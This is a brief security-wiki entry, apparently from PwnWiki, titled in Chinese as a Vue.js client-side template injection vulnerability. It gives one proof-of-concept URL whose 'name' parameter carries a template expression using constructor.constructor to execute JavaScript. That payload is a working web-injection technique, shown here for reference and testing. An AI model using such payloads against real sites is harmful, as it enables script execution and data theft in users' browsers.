Vue.js Javascript library客戶端模板注入漏洞

From PwnWiki


POC

http://host/?name={{this.constructor.constructor('alert("foo")')()}}